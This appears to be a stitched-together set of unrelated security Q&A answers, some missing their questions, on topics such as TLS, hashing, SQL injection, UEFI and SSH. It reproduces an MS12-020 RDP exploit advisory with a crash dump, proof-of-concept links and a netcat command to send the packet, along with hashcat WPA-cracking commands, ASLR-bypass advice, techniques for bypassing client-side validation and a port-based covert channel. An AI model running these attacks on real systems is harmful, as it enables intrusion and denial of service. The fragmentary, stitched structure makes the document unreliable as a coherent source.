The biggest caveat when writing mobile applications is to verify the the behavior of your application when it receives a certificate exception.

With regard to hashing the password, it's not really useful as the password will be whatever you send to the server, so replay attacks or sniffing would still be possible, even when you hash your password. Fortunately it will not be possible to view what's being sent over your connection as they're you will be using HTTPS.

In regard to your access token, you can just use a session token as you would use with any other web application. If you need a RESTful service you will need to send the username and password on every request.


If the attacker is able to passively capture data and later gets access to the private key of the certificates (i.e. stealing, heartbleed attack or law enforcement), then the attacker could decode all previously captured data if the encryption key is only derived from the certificate itself.

DH key exchange makes it possible to create a key independent from the certificate. This way knowledge of the certificate alone is not enough to decode previously captured data. This is called forward secrecy. See Wikipedia for more information.

Apart from getting forward secrecy with DH there are other reasons to use symmetric cryptography instead of simply using the RSA private keys. Thus even if you don't use DH for key exchange TLS will create a symmetric key, which is then derived from the certificate. For more details why using the private key directly to encrypt is not a good idea see Why does PGP use symmetric encryption and RSA?.


Is my AES/CTR/RIPEMD encryption correctly implemented?

Looks fine to me, except your use of RIPEMD128, about which Wikipedia has this to say:

  The 128-bit version was intended only as a drop-in replacement for the original RIPEMD, which was also 128-bit, and which had been found to have questionable security.

I suggest you choose a better hash for your authenticity, e.g. SHA256 or at least RIPEMD160.


Use this header in your https response:
Cache-control: public

Or add ", public" to your existing Cache control header.

Use the Cache control: public directive to enable HTTPS caching for Firefox.
Some versions of Firefox require that the Cache control: public header to be set in order for resources sent over SSL to be cached on disk, even if the other caching headers are explicitly set. Although this header is normally used to enable caching by proxy servers (as described below), proxies cannot cache any content sent over HTTPS, so it is always safe to set this header for HTTPS resources.

Source: Google Page Speed
The posting HTTPS Performance Tuning says in the section "Tip #3: Use Persistent Caching For Static Content" that Internet Explorer can cache static resources over https connections, too.


Why did I see an insecure browser warning on a page with HTTP links?

If the linked resource is an image or a script, often the main concern is not that an attacker could read it, but that an attacker could hijack the request and inject a modified version of the resource to change the look or behavior of the page - scripts especially, as they could be modified to do something malicious like redirecting the user to another website or stealing data the user enters into the page.

(As a somewhat unrelated side note, I personally disagree with the way many browsers handle displaying these warnings. A partially encrypted connection is still an improvement over no encryption at all, but the way some browsers show prominent warnings makes it look "worse" than an unsecured HTTP page. I prefer Safari's way of doing it, which shows "https://" but no lock icon on these pages)


It is testing if your server is configured as HTTP proxy.
If you open the proxyjudge.info website, they also tell you this.

Since your server returns Error 400 to the request, everything seems to be fine.


How to store passwords in a text file in USB securely?

Actually quantum computers are not that much a threat for symmetric encryption. To put it in simple (and somewhat simplistic) terms:

A quantum computer, if it ever exists, will totally break the most used asymmetric encryption and key exchange algorithms (RSA, ElGamal, Diffie-Hellman...) but not all asymmetric algorithms (QC does not break the concept of asymmetric encryption, only some of its incarnations).
For symmetric encryption, key space exhaustive search is faster, but still expensive. Roughly speaking, an n-bit key offers resistance 2n/2 against a QC (compared to 2n for a classic computer).

In the context of password-based encryption of a file, where the key is (derived from) a password, you are in the "symmetric" world, so if you fear quantum computers then it "suffices" that you choose a password with twice as much entropy. Say, aim for 120 bits of password entropy, and you should be all fine. See this answer for examples of password entropy calculations.

One may say that quantum computers do not actually exist (not "true" QC, the kind which can eat RSA at breakfast), and when they exist (if that ever happens) then they will be very expensive at first. Someone who can afford the few billions of dollars for a working QC is unlikely to be interested in your passwords.

Anyway, unless it was done with inordinate incompetence, the symmetric encryption will be the strongest point of the system, not the weakest. Any encryption relies on some software, somewhere, which does the encryption and the decryption. That will be the weak point; malware and key loggers are a much more plausible threat than an attacker who somehow obtained your USB stick and decides to attack the encryption upfront. More probably, such an attacker would write some nasty virus on the USB stick and put it back in your pocket.

(Which is a way to say that this is not a game: there are no rules between attacker and defender, and nothing compels the attacker to play nice and try to break the encryption only.)

Also, don't forget usability: keeping the attacker away from your passwords is fine; but don't lock yourself out. A USB stick is not the most reliable piece of hardware ever, and it can be lost. You should keep backups.


What implications does the KeRanger infection have for Mac OSX security?

Does this show a huge security flaw, in that a compromised server can easily distribute malicious binaries? How could Apple have prevented this from happening?

Welcome to the internet where not everybody is friendly, same as in the world outside the internet.

Apple could not have prevented the compromise of the server because the server is not in control by apple. And as long as apple trusts developers to sign their own software it is not possible to prevent the execution by harmful but signed software. Apple limits at least the impact by revoking the certificate as soon as the problem is known. Apple might try to restrict software distribution to their own apple store only and heavily inspect each of the offered software. But this has associated costs which not everybody likes to pay and apart from that history shows that it is still possible to trick apple into distributing software which later turns out to be malicious.

Just compare this too real life where you trust some Mr.Mallory because your good friend Mr.Pear told you that this person is trustworthy. You would probably not call it "a huge security flaw" if it turns out that Mr.Mallory is a crook which tricked both you and Mr.Pear. Instead you would accept it as something which just happens from time to time because there is no such thing as full security.


Is there a RCE PoC for the CVE-2012-0002/MS12-020?

Yes. There is a published exploit on exploit-db.com. If you are not comfortable validating the exploit code, you should familiarize yourself with how code at this level (read: assembly) works prior to attempting this.

#######################################################################

                             Luigi Auriemma

Application:  Microsoft Terminal Services / Remote Desktop Services
              http://www.microsoft.com
              http://msdn.microsoft.com/en-us/library/aa383015(v=vs.85).aspx
Versions:     any Windows version before 13 Mar 2012
Platforms:    Windows
Bug:          use after free
Exploitation: remote, versus server
Date:         16 Mar 2012 (found 16 May 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

Additional references:
 http://www.zerodayinitiative.com/advisories/ZDI-12-044/
 http://technet.microsoft.com/en-us/security/bulletin/ms12-020

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

From vendor's homepage:
"The Microsoft Remote Desktop Protocol (RDP) provides remote display
and input capabilities over network connections for Windows-based
applications running on a server. RDP is designed to support different
types of network topologies and multiple LAN protocols."

#######################################################################

======
2) Bug
======

The Remote Desktop Protocol is used by the "Terminal Services / Remote
Desktop Services" and works at kernel level on port 3389.

There is an use-after-free vulnerability located in the handling of the
maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of
the provided proof-of-concept) when set to a value minor/equal than 5.

The problem happens during the disconnection of the user started with
RDPWD!NM_Disconnect while the effect of the possible code execution is
visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on
Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid
memory pointer, the following dump is taken from Windows 2003 Server:

  f761887c 8bff            mov     edi,edi
  f761887e 55              push    ebp
  f761887f 8bec            mov     ebp,esp
  f7618881 56              push    esi
  f7618882 57              push    edi
  f7618883 8b7d08          mov     edi,dword ptr [ebp+8]
  f7618886 8d47ec          lea     eax,[edi-14h]
  f7618889 50              push    eax
  f761888a eb09            jmp     termdd!IcaBufferAlloc+0x19 (f7618895)
  f761888c 8b4618          mov     eax,dword ptr [esi+18h]                  ; we are here
  f761888f 833800          cmp     dword ptr [eax],0                        ; or here
  f7618892 7527            jne     termdd!IcaBufferAlloc+0x3f (f76188bb)    ; must jump
  f7618894 56              push    esi
  f7618895 e878290000      call    termdd!IcaGetPreviousSdLink (f761b212)   ; the new ESI is returned by this function
  f761889a 8bf0            mov     esi,eax
  f761889c 85f6            test    esi,esi
  f761889e 75ec            jne     termdd!IcaBufferAlloc+0x10 (f761888c)
  f76188a0 ff751c          push    dword ptr [ebp+1Ch]
  f76188a3 ff7518          push    dword ptr [ebp+18h]
  f76188a6 ff7514          push    dword ptr [ebp+14h]
  f76188a9 ff7510          push    dword ptr [ebp+10h]
  f76188ac ff750c          push    dword ptr [ebp+0Ch]
  f76188af 57              push    edi
  f76188b0 e8b9fcffff      call    termdd!IcaBufferAllocInternal (f761856e)
  f76188b5 5f              pop     edi
  f76188b6 5e              pop     esi
  f76188b7 5d              pop     ebp
  f76188b8 c21800          ret     18h
  f76188bb 33c0            xor     eax,eax
  f76188bd 53              push    ebx
  f76188be 8d7e10          lea     edi,[esi+10h]
  f76188c1 40              inc     eax
  f76188c2 f00fc107        lock xadd dword ptr [edi],eax
  f76188c6 ff751c          push    dword ptr [ebp+1Ch]
  f76188c9 8b4618          mov     eax,dword ptr [esi+18h]                  ; the same value of before
  f76188cc ff7518          push    dword ptr [ebp+18h]
  f76188cf ff7514          push    dword ptr [ebp+14h]
  f76188d2 ff7510          push    dword ptr [ebp+10h]
  f76188d5 ff750c          push    dword ptr [ebp+0Ch]
  f76188d8 ff761c          push    dword ptr [esi+1Ch]
  f76188db ff10            call    dword ptr [eax]                          ; code execution
  f76188dd 8bd8            mov     ebx,eax
  f76188df 83c8ff          or      eax,0FFFFFFFFh
  f76188e2 f00fc107        lock xadd dword ptr [edi],eax
  f76188e6 7506            jne     termdd!IcaBufferAlloc+0x72 (f76188ee)
  f76188e8 56              push    esi
  f76188e9 e8382f0000      call    termdd!_IcaUnloadSd (f761b826)
  f76188ee 8bc3            mov     eax,ebx
  f76188f0 5b              pop     ebx
  f76188f1 ebc2            jmp     termdd!IcaBufferAlloc+0x39 (f76188b5)

  eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240
  eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0         nv up ei pl nz na po nc
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
  termdd!IcaBufferAlloc+0x10:
  f762888c 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:040b041a=????????

  ChildEBP RetAddr
  b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
  b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
  b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
  b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
  b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
  b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
  b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
  b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
  b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
  b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
  b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
  b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94
  b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227
  b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35
  b8b39bac f762ca10 termdd!_IcaCallStack+0x55
  b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414
  b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e
  b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a
  b8b39c50 808ed4eb nt!IofCallDriver+0x45
  b8b39c64 808ee28d nt!NtWriteFile+0x2943
  b8b39d00 808e6dbc nt!NtWriteFile+0x36e5
  b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a
  b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14
  b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14

On Windows 2003 that zone of the memory pointed by ESI+18 using the
provided proof-of-concept is ever in the range 040b02??-040b04??.
The exploitability depends by the possibility of controlling ESI or the
content pointed by it (maybe via a form of heap spraying?), indeed in
my quick tests this zone sometimes is allocated and others it isn't.

Note that on the post-Vista Windows versions (like 7 and 2008) "seems"
necessary to have "Allow connections from computers running any version
of Remote Desktop" for being vulnerable.
Anyway I'm not totally sure about this so-called limitation because it
looks like dependent by my proof-of-concept only.

The provided proof-of-concept uses the BER integer values set at 32bit
(big endian) in case they could be useful for easier debugging.

Additional details about the protocol:
http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx

#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/termdd_1.dat
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/18606.dat

  nc SERVER 3389 < termdd_1.dat

resend it multiple times in case of no results and note that this is
just a simple proof-of-concept packet to quickly test the bug so it's
not optimized at all.

#######################################################################

======
4) Fix
======

http://technet.microsoft.com/en-us/security/bulletin/ms12-020

#######################################################################


This depends a little bit on the mitigations employed by the host.  If you do not have ALSR on the target (rare on modern systems), and you know what OS they are running (e.g., Ubuntu 16.04), you can setup a system with the same versions and locate addresses that way.  If you look at many Metasploit exploits, they have a table of TARGET versions that you can specify, which usually results in the use of different target addresses.

On a more modern setup (using ASLR), you'll need to either:

Find a module loaded at a fixed address.  This used to be fairly common, but is getting rarer with more security awareness.
Find a way to leak some addresses so you can find where libc (or other useful libraries) are located, then add/subtract some offset to find the needed addresses for your attack.


Digitally sign all the packets from client machine

If you try to force SSL/TLS - even without encryption - on websites and services that are not configured to use it, you will find that most of the Internet will be broken for you. For SSL/TLS to work, both ends of the connection must support it. Otherwise the connection negotiation will fail and your computer will treat the website as if it doesn't exist.

Besides that, the most basic problem with this idea is that it adds network and system overhead for absolutely zero security benefit. Digital signatures are only worth having if they're actually going to be verified. If a website is going to verify your signatures, it will be configured to support SSL/TLS. If SSL/TLS is not supported, there is no point in signing.


How Aircrack reliable is for decrypting password? other alternative?

Yes, you have other alternatives. Aircrack only support dictionary and bruteforce attacks but you can convert the file into other format to be used with another tool. I can recommend to you to use hashcat.

To convert a captured file to hashcat format you must do: aircrack-ng /path/to/handshake.cap -J /path/to/converted_file -b 00:11:22:33:44:55. Of course you must put your paths and the BSSID of the network you want to recover the password. The -J parameter is to convert the file from one format to hashcat format.

Then, once the file is in hascat format, there is a new world of possibilities. Here is a link to the Hashcat's page. Now you can use GPU which is more powerful than CPU to bruteforce.
But even if is not an option for you, you can use for example rule based attacks with hashcat. Rule based attacks combine words in dictionary with some rules. This rules depend of the rule file you use.

Some of them exchange letters, other add prefixes, suffixes. Others tranform the words in l337, or whatever. The rule files creators are so imaginative! Some of them combine a lot of them and can be complicated.

The point is to try to get the password "playing" with these rules and the dictionary files and believe me... it works so many times!

So many pentesting Linux distros already have rule files to be used on rule based attacks like this I'm propossing you. For example, in Kali Linux you have a lot of them in the /usr/share/hashcat/rules folder.

Hashcat has changed recently its way to work. Before version 3, there were different executable files to use CPU and GPU. Now, with hashcat v3, there is only one executable for all and only change the parameters to select what you want to do (CPU, GPU).

Let's assume you want to use CPU because you said you haven't strong processor capacity.

Command for hashcat < 3: hashcat -m 2500 -a 0 "/path/to/your/converted_file" "/path/to/your/dictionary_file" -r "/path/to/your/rules_fie" -o "/path/to/your/pot_file"

Command for hashcat >= 3: hashcat -m 2500 -a 0 "/path/to/your/converted_file" "/path/to/your/dictionary_file" -r "/path/to/your/rules_fie" -o "/path/to/your/pot_file" -D 1 --force

Maybe you can "pivot" from hashcat format to other format to use another tool, but I think with hashcat you have all you need. Good luck!


Do I have to make any more check if I use prepared statements for integers?

First off: You're not making full use of prepared statements.  That could expose you to to SQL injection problems.

You should not be using string concatenation to build up the argument to $conn->prepare().  Instead, you should be using a string constant as the SQL query, and relying upon bindValue() to fill in dynamic values.  In an ideal world you could write something like this:

$stmt = $conn->prepare("SELECT `lastMove` FROM :table".
            " WHERE `id`=:gameID AND (`whiteUserID` = :userid".
            " OR `blackUserID` = :userid) LIMIT 1");
$stmt->bindValue(':gameID', $_POST['gameID'], PDO::PARAM_INT);
$stmt->bindValue(':table', GAMES_TABLE, PDO::PARAM_STR);
$stmt->bindValue(':userid', USER_ID, PDO::PARAM_STR);
$stmt->execute();

However, PDO prepared statements don't let you specify the table name in this way, so you're forced to use string concatenation for the table name, like this:

$stmt = $conn->prepare("SELECT `lastMove` FROM ".
            mysql_real_escape_string(GAMES_TABLE).
            " WHERE `id`=:gameID AND (`whiteUserID` = :userid".
            " OR `blackUserID` = :userid) LIMIT 1");
$stmt->bindValue(':gameID', $_POST['gameID'], PDO::PARAM_INT);
$stmt->bindValue(':userid', USER_ID, PDO::PARAM_STR);
$stmt->execute();

Using string concatenation with any non-constant string to build up the first parameter to prepare() introduces a danger of SQL injection attacks, so you need to be careful here.  You need to check carefully that GAMES_TABLE is a constant and can never be influenced by the attacker (you might consider inlining it).  Also, you might want to sanitize/escape it just in case, as in the code I've shown above.  It is an annoying limit of prepared statements that they can't handle this for you.

Rule of thumb: prepared statements are safe from SQL injection, as long as the SQL query itself is a constant string.

Unfortunately, you may discover a few cases where prepared statements are too limiting, such as dynamic ORDER BY or LIMIT parameters -- as well as dynamic table names, as illustrated above.  For these cases, you will probably need to use string concatenation.  In these cases, you must be extremely careful, as using string concatenation re-introduces the risk of SQL injection vulnerabilities.

In any case, you should still use prepared statements for everything you possibly can, such as for USER_ID, as it is less error-prone than doing the string concatenation yourself.  Also, because prepared statements make it easier to verify you have avoided SQL injection flaws, it is to your benefit to use prepared statements instead of string concatenation everywhere you can.

Additional checks: To answer your original question, if PDO implemented its API properly, you would not need any other checks on an integer value to prevent SQL injection problems.  Unfortunately, @Krzysztof Kotowicz has pointed out that PHP PDO library is buggy: it ignores the PDO::PARAM_INT argument and treats everything as a string, regardless.  Therefore, you probably ought to do the extra coding that's needed to make up for this flaw in the PDO library.  In particular, you should coerce (cast) the value to an integer, before passing it.  Thus, I suggest something like the following:

// don't use $_POST['gameID'] elsewhere; use $gameID
$gameID = (int) $_POST['gameID'];

$stmt = $conn->prepare("SELECT `lastMove` FROM ".
            mysql_real_escape_string(GAMES_TABLE).
            " WHERE `id`=:gameID AND (`whiteUserID` = :userid".
            " OR `blackUserID` = :userid) LIMIT 1");
$stmt->bindValue(':gameID', $gameID, PDO::PARAM_INT);
$stmt->bindValue(':userid', USER_ID, PDO::PARAM_STR);
$stmt->execute();

Separately, you need to make sure that, if an attacker can guess a valid gameID, it does not help the attacker bypass any access control checks in your code.  See, e.g., OWASP's insecure direct object reference vulnerability category.

For string values, it might also be prudent to sanitize the data to ensure it matches some regexp that is appropriate for that value.


Sniffing ports is slow: you have to send a bunch of packets and use a timeout to know which ports are open and which are not. Also, it is very uncommon for the list of open ports on a server to change every 2 minutes. Steganography cannot exist if it implies unusual setups; it strives on inconspicuousness.

What you could do is to hide data in source ports. Whenever you send an UDP packet to a target server, the packet is tagged with the target port (which is often well known, e.g. 53 for a DNS request) and a source port. The source port is momentarily open on the client and meant to receive the answer, should an answer be sent (there again, this is a normal situation with DNS). Under normal conditions, the source port is chosen at random by the client; applications don't need to bother with it, it is allocated by the kernel). But the application could choose the source port (it is a matter of a bind() system call before sending the packet) and thus convey information in a covert manner to the server.

That way, you can send covert information to the server under the guise of innocent-looking DNS requests. To mimic normal random port allocation as performed by operating systems, you would have to restrain yourself to roughly the same range, so you would be able to send, say, about 12 bits of information per requests. To make the covert transfer undetectable, you would have to encrypt the data (the source ports must "look random" and nothing looks more random than encrypted data).

It is a generic property: whenever a data protocol includes elements which are supposed to be chosen randomly by the server, then it can be subverted into a covert data channel. This is usually considered to be a security issue, because it allows the sender to leak critical data to third parties without the receiver noticing it. An example is the padding of record data in SSL 3.0 (section 5.2.3.2), when a block cipher is used: the value of the padding bytes can be chosen arbitrarily by the sender. This was fixed in TLS 1.0, where the value of the padding bytes is enforced:

  Each uint8 in the padding data
         vector must be filled with the padding length value.

I don't know of any standard for doing steganography through port numbers. When you come down to it, it looks pretty useless. Also, by nature, "steganography" does not mix well with "standards".


Will using external OAuth providers for authentication protect users better than custom authentication?

This does depend on your situation, but the short answer is don't re-invent the wheel if you don't have to.

If you can take advantage of OAuth/OpenID (stackoverflow does) then you probably should. This can be more for connivence then security, sites will offer OpenID but allow you to create a login if you don't already have one (so as to cover all bases). You need to determine what is best given your audience.

The benefit of leveraging other peoples authentication (facebook or G+ in this example) is that you leave them to worry about properly authenticating their users.

You could try to build it yourself, although you'll need to make sure you do so in a secure fashion. The advantage of rolling your own may be that you're not as popular and therefore potentially not an interesting enough target (although this does depend on your situation and isn't a security tactic itself). If you make some rookie mistakes, then you're leaving yourself open to potential attacks.

There are of course disadvantages in leveraging other peoples authentication. For instance someone might have given away their facebook password to a friend, who can now login to our site if you allow login via FB. Of course the same thing could happen with any authentication system, but you don't have control of the FB/G+ authentication so this comes down to your own research of how suitable this would be.


Are credentials sent via plain text to HTTP proxy?

It depends on the kind of authorization request by the proxy. If this is Basic Authentication the username are passwords are transferred in mostly clear (i.e. base64) and thus can be extracted by passively sniffing the connection. This is no longer true with Digest Authentication or NTLM, although in the latter case there are other attacks to reuse the authentication information.


What is the most secured UEFI publicly available?

The way you ask this shows you haven't understood the problem to its fullest extent:

  I would need full monitoring of every EUFI activity and if possible make it available at the OS level

The UEFI potentially runs at privilege levels higher than any software that you can execute on your system. Hence, it's untraceable, unless it wants to be traced.

You might want to watch this talk introducing the privilege levels that UEFI can enter..

And, also, that talk demonstrates how to gain these same privileges to mess with what would normally firmware protected from modification.

In other words: While there is free and open source UEFI firmware for a couple of notebooks (google: coreboot), there's no absolute security.


How do hackers trick frontend validation?

I think you are very confused about what both CORS and SOP do... neither is relevant to these attacks at all.
There are lots of ways to bypass client-side validation. HTTP is just a stream of bytes, and in HTTP 1.x they're even human-readable text (at least for the headers). This makes it trivial to forge or manipulate requests. Here's a subset of ways to do it, grouped by rough categories:
Bypass validation in the browser

Browse to your site and input the invalid values. Use the browser dev tools to remove the validation events or manipulate their execution to pass validation anyhow. Submit the form.
Use the browser dev console to send requests from the site as though through the validated form, but with unvalidated inputs (just directly invoke the function that makes the request).
Use the browser dev tools to "edit and re-send" a request, and before re-sending, change the valid values in the body to invalid ones.
For GET requests: just type any URL with invalid parameters into the location bar.
For POST requests that use non-samesite cookies for authentication: create a web page that POSTs to your server with the expected values (including any CSRF-protection token) but with invalid values, load it in browser, and submit.

Bypass validation using non-browser tools

Set the browser to run through an intercepting proxy (like most in the security industry, I usually use Burp Suite, but you can use others like Fiddler too). Capture the outbound request, tamper with the fields to make them invalid, and send it on its way.
Use an intercepting proxy again, but this time replay a previous request with modified, invalid values (in Burp, this is exactly what the Repeater tool is for).
Right-click a request in the browser's dev tools' network history, select "Copy as cURL", paste the resulting curl command into a command line, edit the validated fields to make them invalid, hit Enter to send.

Crafting malicious requests from scratch

Using Burp Repeater, specify the protocol, domain, and port for your site. Add the necessary headers, including any cookies or other headers needed for authorization. Add the desired parameters, with invalid values. Click "Send".
Using curl, send a request to your site with the required headers and whatever body, including invalid values, you want.
Using ncat, open a connection to your site, using TLS, on port 443. Type out the HTTP top line, headers, and body (after all, it's just text, although it'll get encrypted before sending). Send the end-of-file input if needed (usually the server will just respond immediately though).
Write a little script/program in any language with a TCP or HTTP client library (from JS running on Node to a full-blown compiled golang binary) that creates a request with all the required headers and invalid fields, and sends it to your server. Run the script/program.

SOP only applies when the request is sent using a browser AND the request originates from a web page hosted at a different origin (combination of domain, protocol, and port) than the request's destination. Even then, SOP primarily protects against the originating page seeing the response; it doesn't prevent attacks from occurring. If you're the attacker trying to get past client-side validation, then you can just send the request from the origin you're attacking, and SOP is entirely irrelevant. Or just send the request from something that isn't a browser (like a proxy, or curl, or a custom script); none of those even have SOP in the first place.
CORS is a way to poke holes in SOP (CORS doesn't add any security; it's a way to partially relax the security feature of SOP), so it doesn't even matter unless SOP is relevant. However, in many cases you can make a cross-origin request with invalid parameters (as in the case where I create my own attack page and point the browser at it, then use it to submit an invalid request to your site) because for most requests, SOP only restricts whether you can see the response - you can send the request cross-origin even if the server doesn't allow CORS at all - and often, seeing the response isn't needed.
Pulling the authorization tokens (cookies, header values, whatever) out of the browser after authentication is easy (just examine the network traffic in the dev tools, or use a proxy). Remember, for validation to even be in question, the attacker has to be able to use your site via a browser, which presumably means they can authenticate. Or just submit an authentication request using curl or whatever, scrape the returned token out of the response, and use it in the malicious invalid requests; no browser needed at all!
There's nothing the browser can do (in terms of sending requests to the server), that I can't do from a shell prompt with some common, open-source utilities.
EDIT: As @chrylis-cautiouslyoptimistic points out, this includes spoofing the Origin header in the request. Although the Origin header is not normally configurable within the browser - it is set automatically by the browser when certain types of requests are made - it's possible to edit it after sending the request (by intercepting or re-playing the request), or to simply forge it in the first place. Any protective measure based on the presence, absence, or value of this header will only be effective in the case that the attacker is indirectly submitting the request through an unwitting victim's browser (as in the case of CSRF), typically because the attacker can't authenticate to the site or wants to attack through another user's account. For any other case, the attacker can simply choose what value, if any, to give as the Origin.
EDIT 2: As @Tim mentioned, things like SOP and anti-CSRF measures are all intended to protect the user of a website from an attack by somebody else on the internet (either another user of the same site, or an outsider who wants to exploit your access to the site). They don't provide any protection at all when the authorized user is the attacker and the target is the site itself or all of its users, through something like a stored XSS, SQL injection, or malicious file upload (the types of things people sometimes try to prevent with client-side validation).


Read this article and get all of the answers thoroughly.

Survey of network security systems to counter SIP-based denial-of-service attacks

As described in the above paper:

SIP message payload tampering:
The ﬁrst class of attacks is based on tampering with the actual
SIP message or more speciﬁcally, the SIP payload. SIP is a text-
based protocol and messages are transported usually in clear
text. Attackers can try to inject harmful content into
a message, e.g. by entering meaningless or wrong information
with the goal of exploiting a buffer overﬂow at the target. Also,
such messages can be used to probe for vulnerabilities in the
target. Harmful code that will be executed in an unforeseen
context can be introduced into the payload. An example is SQL
code injection, which allows the attacker to execute SQL code
within a database.

SIP message ﬂow tampering:
A special case of DoS attacks in real time communication
networks are attacks that disturb the ongoing communication
between users. Common internet services like web browsing
or email communication have an asynchronous time model
i.e. a requested web page is directly delivered to a user. The
user will read it without further communication to the web
server. The same applies to email – a user downloads the
email and studies it independently of a server connection. In
contrast, in SIP real time communication networks two
communicating users establish a constant connection with
each other whereby content is transmitted continuously
between both parties.
An attacker can now target this connection by introducing
fake signalling messages into the communication channel.
Several different SIP signalling messages can be misused for
this task. A BYE message with the right credentials can
prematurely terminate a session.

SIP message ﬂooding:
When talking about a DoS attack, one generally means
ﬂooding attacks that overwhelm a victim’s resources. There
are three main resources that can be targeted in a SIP ﬂooding
attack: bandwidth, CPU, or memory.

Source: Ehlert, Sven, Dimitris Geneiatakis, and Thomas Magedanz. "Survey of network security systems to counter SIP-based denial-of-service attacks." Computers & Security 29.2 (2010): 225-243.


In what ways does increasing SSH host key length increase security

There is a crucial piece of confusion in your question, which the answers here did not point out: ServerKeyBits has nothing to do with the hostkey. In fact, it is mostly irrelevant today, since it applies only to SSH protocol version 1, which has been obsolete for many years and should no longer be used.

If you’re familiar with setting up an OpenSSH server, it should also be clear operationally that an sshd configuration setting cannot by itself increase the size of the hostkey — which is sitting in a file on disk (e.g. /etc/ssh/ssh_host_rsa_key{.pub}) and is generated once and separately.

The “server key” in protocol 1 is a second RSA key — distinct from the hostkey — used to achieve forward secrecy. It is ephemeral, generated by the server on startup, replaced periodically (once per hour by default), and never written to disk. The client encrypts the symmetric session key with the server key and sends it to the server; this message is authenticated by signing it with the hostkey. In protocol 2, forward secrecy is implemented with Diffie-Hellman instead.

So, an adequately strong server key is important because if an attacker can recover it, he can read recorded SSH sessions or tamper with current ones (since he has the session encryption and MAC keys). And as a previous answer pointed out, 768 bits for an RSA key is far too short by today’s standards.


Yes. SSH has standardized and quite distinct handshake packets, so you can very easily detect an SSH session initiation. Here is a transcription of Wireshark capture of an SSH session initiation:

Encrypted request packet len=41
Encrypted response packet len=39
Client: Key Exchange Init
Server: Key Exchange Init
Client: Diffie-Hellman Key Exchange Init
Server: New Keys
Client: New Keys
Encrypted request packet len=48
Encrypted response packet len=48

As you can see, even Wireshark can detect them with ease. Commercial DPI solutions should also be able to detect the type of traffic going in the encrypted tunnel by looking at traffic patterns - i.e. they can understand that you're tunnelling HTTP traffic and not just using the remote shell.

To avoid detection you can wrap SSH traffic into a steganographic tunnel such as obfsproxy, but in this case you're engaging in a steganographic arms race with the packet inspector and have no way of knowing if you're detected or not unless you have access to the packet inspector console.


Is a security question you just have to 'remember' a good idea?

Usual process

There are two common ways to implement the so-called "security question" (which I don't think to be very secure anyway, but that's another subject):

Propose the user to choose a question from a set of already defined questions,
Propose the user to type his own question.

The issue with the first possibility is that you will have a very large ratio of your users who will reuse the very same question like their first pet's name, for instance. This can be a weakness since an attacker can, with this example, use a dictionary of common pet names against all users who chose this question.

With the second possibility, you just encourage your users to use different questions. While the risk here is that they may use even weaker question, at least there will be a wider range of different questions making any automation attempts a bit more difficult for the attacker.

However, in both cases the question remains public, only the answer is secret. When you click on the "I forgot my password" link, in any of these situations you will be prompted with your question (either the one you've chosen or the one you typed) and will have to provide the correct answer to get back your access.

If you encounter a website requiring you to type both your question and answer during the password reset procedure, then you can bet that this process has been designed by someone a bit screwy (and that this process will most probably be changed quickly when the support department gets fed up with users' complaints).

Screenshot's specific case

The goal of any authentication system is to let you prove your identity in some way. The most quick one is by using a secret password, or in another word a secret shared between you and the service to which you would like to prove your identity.

If you forget such shared secret, then comes the security question(s): they will offer you an alternative way to prove your identity by giving some details regarding your personal life that (hopefully) only you may now.

Having a question asking again for a shared secret seems just plain useless, as it does not provide any alternative way to prove your identity: if you have lost your main shared secret, most chances are that your have lost this other one too.

So I would definitively class this one in the "screwy" category.


Why can't we protect the password file so that only the system can read it?

Preventing root from accessing the password file isn't really practical. By definition, the root user has access to and can modify everything on the system. Trying to limit this access just won't work.
As others have already said, there are several circumstances when the root user would need to access the password file for legitimate reasons. For example they might want to backup the entire system or modify the file for system administration purposes.
Apart from that, it would be next to impossible to implement these restrictions effectively. For example, if an attacker with root privileges really wants the password file, what's to prevent him from simply modifying/patching the system to remove your restrictions? Then again, the login/authentication program still needs to access the file so you have to provide it with permissions to read the password file. The root user can simply su to whatever user the login/authentication program runs under and then access the file. And even if you somehow find a way around this, how do you deter someone with unrestricted physical access to the system?
That said, current systems do try to ensure that only those who need access are given access. Password encryption, or rather hashing, ensures that even if a malicious or unauthorized entity does get their hands on the password file, they don't get the passwords. True, dictionary or brute-force attacks may be used to recover some passwords, but only the ones that are weak. Sufficiently complex passwords cannot be recovered in any reasonable amount of time


Is there any risk to having many "unused" ports open through firewalls and routers

